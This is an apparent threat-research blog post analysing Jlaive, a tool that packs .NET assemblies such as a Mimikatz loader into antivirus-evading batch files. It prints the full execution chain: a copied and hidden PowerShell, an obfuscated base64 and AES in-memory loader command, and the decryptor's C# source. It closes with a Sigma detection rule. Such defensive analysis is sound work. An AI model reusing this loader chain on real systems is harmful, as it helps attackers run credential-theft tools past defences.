Summary
Jlaive is a project created to evade antivirus by creating batch files from .NET assemblies. The way it does it is very interesting and gives a new window of opportunities to actors to evade defenses and execute their payloads.
You can find the project on their official GitHub: https://github.com/ch2sh/Jlaive
Creating the batch file with Jlaive
In order to test the operation and the different events generated by this tool on a system, batch files must first be generated. The project currently provides two ways to do this.
- Using the CLI file: Jlaive-CLI
- Using the GUI: Jlaive
To test the behavior of the generated batch file, we are going to use an assembly from a known GitHub project that aims to load Mimikatz in memory through an injection.
The configuration used in Jlaive to create the batch file was as follows.
Executing the assembly (Mimikatz batch file)
For this case, the .NET assembly used is KatzNetAssembly, which can be found in their GitHub https://github.com/med0x2e/NET-Assembly-Inject-Remote.
When Jlaive is used to generate the batch file, the result is the expected .bat file. Looking at the contents of the .bat file in this case, we can see something like the following image.
As a test, I uploaded to VirusTotal both the original KatzNetAssembly binary and the generated batch file to check that vendors detected both as malicious, since Mimikatz is considered malicious by the vast majority of vendors.
First, the KatzNetAssembly binary was detected by 43 different engines.
In contrast, the batch file generated above was not detected by any of them.
As soon as the .bat file is executed, you can see how Mimikatz is loaded for use by the user.
High level processes events
When the batch file is executed, different events take place in the operating system, ranging from the creation of temporary files to be used (for compilation purposes) to the copying of the legitimate powershell binary. The following image is a high-level visualization of the events that occur in the operating system.
The quality of the image is not the best (procdot pls :D), but it is useful to see at a high level all the events that happen related to files, processes, threads, registry keys, etc. In the following sections we will go in detail in the most important events of the previous image.
Genealogy
Taking a look at the process genealogy generated after the execution, we can see the following activity that took place when we executed the batch file:
From top to bottom, the processes with their corresponding command lines that are launched during execution are as follows.
cmd.exe - 2980
C:\Windows\system32\cmd.exe /c ""C:\Users\lab\Desktop\mimi\NET-Assembly-Inject-Remote-master\KatzNetAssembly\bin\Debug\KatzNetAssembly.bat" "
This is the initial execution of the batch file. From this point on, the auto-generated batch file performs different actions on the system when it is executed.
cmd.exe - 9420
C:\Windows\system32\cmd.exe /S /D /c" echo F"
This process does not perform any particular action. This is because in the first lines of the batch file the following information can be observed.
Line 2 of the previous image shows how the |
character exists without being escaped by ^
. Therefore, the first part before the |
character will be launched as a new process that will simply do a echo F
(this same cmd.exe process with PID 9420), and the second part after the |
character will be the execution of a new process called by xcopy.exe
, which we will see its purpose below.
xcopy.exe - 10188
xcopy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Users\lab\Desktop\mimi\NET-Assembly-Inject-Remote-master\KatzNetAssembly\bin\Debug\KatzNetAssembly.bat.exe" /y
Xcopy is a Microsoft Windows binary that can be used to copy files and directories. In this case, the copy that is made is powershell.exe
with the same name as the initial batch file, leaving finally in this case the name KatzNetAssembly.bat.exe
.
attrib.exe - 3672
attrib +s +h "C:\Users\lab\Desktop\mimi\NET-Assembly-Inject-Remote-master\KatzNetAssembly\bin\Debug\KatzNetAssembly.bat.exe"
attrib
is another Microsoft Windows utility. It is used in this case to set attributes assigned to the newly copied file.
- +s: Sets the System file attribute.
- +h: Sets the Hidden file attribute.
KatzNetAssembly.bat.exe - 8576
KatzNetAssembly.bat.exe -noprofile -executionpolicy bypass -command $FlOctL = [System.IO.File]::ReadAllText('C:\Users\lab\Desktop\mimi\NET-Assembly-Inject-Remote-master\KatzNetAssembly\bin\Debug\KatzNetAssembly.bat').Split([Environment]::NewLine);$hUtefJ = $FlOctL[$FlOctL.Length - 1];$kADuSQ = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('dXNpbmcgU3lzdGVtLlRleHQ7dXNpbmcgU3lzdGVtLklPO3VzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjt1c2luZyBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5OyBwdWJsaWMgY2xhc3Mgc2t2Z1pSIHsgcHVibGljIHN0YXRpYyBieXRlW10geVhMZVdlKGJ5dGVbXSBpbnB1dCwgYnl0ZVtdIGtleSwgYnl0ZVtdIGl2KSB7IEFlc01hbmFnZWQgYWVzID0gbmV3IEFlc01hbmFnZWQoKTsgYWVzLk1vZGUgPSBDaXBoZXJNb2RlLkNCQzsgYWVzLlBhZGRpbmcgPSBQYWRkaW5nTW9kZS5QS0NTNzsgSUNyeXB0b1RyYW5zZm9ybSBkZWNyeXB0b3IgPSBhZXMuQ3JlYXRlRGVjcnlwdG9yKGtleSwgaXYpOyBieXRlW10gZGVjcnlwdGVkID0gZGVjcnlwdG9yLlRyYW5zZm9ybUZpbmFsQmxvY2soaW5wdXQsIDAsIGlucHV0Lkxlbmd0aCk7IGRlY3J5cHRvci5EaXNwb3NlKCk7IGFlcy5EaXNwb3NlKCk7IHJldHVybiBkZWNyeXB0ZWQ7IH0gcHVibGljIHN0YXRpYyBieXRlW10geFpQcEdaKGJ5dGVbXSBieXRlcykgeyBNZW1vcnlTdHJlYW0gbXNpID0gbmV3IE1lbW9yeVN0cmVhbShieXRlcyk7IE1lbW9yeVN0cmVhbSBtc28gPSBuZXcgTWVtb3J5U3RyZWFtKCk7IHZhciBncyA9IG5ldyBHWmlwU3RyZWFtKG1zaSwgQ29tcHJlc3Npb25Nb2RlLkRlY29tcHJlc3MpOyBncy5Db3B5VG8obXNvKTsgZ3MuRGlzcG9zZSgpOyBtc2kuRGlzcG9zZSgpOyBtc28uRGlzcG9zZSgpOyByZXR1cm4gbXNvLlRvQXJyYXkoKTsgfSB9'));Add-Type -TypeDefinition $kADuSQ;[System.Reflection.Assembly]::Load([skvgZR]::xZPpGZ([skvgZR]::yXLeWe([System.Convert]::FromBase64String($hUtefJ), [System.Convert]::FromBase64String('NWgsuaovf9gO9aKy86zcaVaagsVYYBrngI5j7GXrTW8='), [System.Convert]::FromBase64String('oEMFGnnW7fwO+yXIvucIbA==')))).EntryPoint.Invoke($null, (, [string[]] ('')))
The KatzNetAssembly.bat.exe
file is actually PowerShell.exe
, which in this case is executed through a series of parameters and a command through -command
, where it first reads the batch file information and then loads the assembly in memory to run Mimikatz.
This is achieved by the Add-Type
cmdlet which adds the .NET class to the PowerShell
session and with the help of System.Reflection.Assembly::Load
the payload is loaded into memory.
When these processes are executed to perform such compilations, it is important to know that there are a series of temporary files that are generated in the system. In this case, we will focus a little more on the files named wzpaloqi.0.cs
and wzpaloqi.cmdline
. The latter will be used later by csc.exe
which contains addresses to compile the code.
Subsequently, it also removes these files from the system.
csc.exe - 5952
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\lab\AppData\Local\Temp\wzpaloqi.cmdline"
Due to the above execution to load the assembly into memory, csc.exe
is launched to perform the compilation (csc.exe
is used by .NET to compile C# code).
As stated above, the wzpaloqi.cmdline
file that is passed as a parameter to csc.exe
contains the addresses to compile the code. In this case, the contents are as follows
/t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\lab\AppData\Local\Temp\wzpaloqi.dll" /D:DEBUG /debug+ /optimize- /warnaserror "C:\Users\lab\AppData\Local\Temp\wzpaloqi.0.cs"
Note the use of the /t
parameter to generate a Library
TargetType. Also the references to the System.dll
and System.Management.Automation.dll
(Powershelll) DLLs. Finally, the output file to wzpaloqi.dll
.
The wzpaloqi.0.cs
file contains the definition of the class that was previously used by the Add-Type
cmdlet in the PowerShell
execution. The content of this C# file would look like the following.
using System.Text;
using System.IO;
using System.IO.Compression;
using System.Security.Cryptography;
public class sIRAVQ {
public static byte[] agudvC(byte[] input, byte[] key, byte[] iv) {
AesManaged aes = new AesManaged();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
byte[] decrypted = decryptor.TransformFinalBlock(input, 0, input.Length);
decryptor.Dispose();
aes.Dispose();
return decrypted;
}
public static byte[] WpDGoD(byte[] bytes) {
MemoryStream msi = new MemoryStream(bytes);
MemoryStream mso = new MemoryStream();
var gs = new GZipStream(msi, CompressionMode.Decompress);
gs.CopyTo(mso);
gs.Dispose();
msi.Dispose();
mso.Dispose();
return mso.ToArray();
}
}
cvtress.exe - 9520
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\lab\AppData\Local\Temp\RES7B30.tmp" "c:\Users\lab\AppData\Local\Temp\CSC73E174637C7249A1B3624F5536864A1.TMP"
The purpose of cvtress.exe
is to convert resources to objects at compile time. These objects will eventually be the ones linked into the final .exe.
Sigma rule
The behavior of this project is very characteristic, which can help us to create detection rules. For this reason, the following sigma rule can help us to detect these behaviors in our systems.
Link to sigma rule: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_jlaive_batch_execution.yml
title: Jlaive Usage For Assembly Execution In-Memory
id: 0a99eb3e-1617-41bd-b095-13dc767f3def
description: Detect the use of Jlaive to execute assemblies in a copied PowerShell
status: experimental
date: 2022/05/24
modified: 2022/05/24
author: Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)
references:
- https://twitter.com/VakninHai/status/1517027824984547329
- https://github.com/ch2sh/Jlaive
logsource:
product: windows
category: process_creation
detection:
parent_selection:
ParentImage|endswith: '\cmd.exe'
ParentCommandLine|endswith: '.bat'
selection1:
Image|endswith: '\xcopy.exe'
CommandLine|contains|all:
- 'powershell.exe'
- '.bat.exe'
selection2:
Image|endswith: '\attrib.exe'
CommandLine|contains|all:
- '+s'
- '+h'
- '.bat.exe'
condition: parent_selection and (1 of selection*)
falsepositives:
- Unknown
level: medium
tags:
- attack.execution
- attack.t1059.003
Contact
Twitter: https://twitter.com/Joseliyo_Jstnk
LinkedIn: https://www.linkedin.com/in/joseluissm/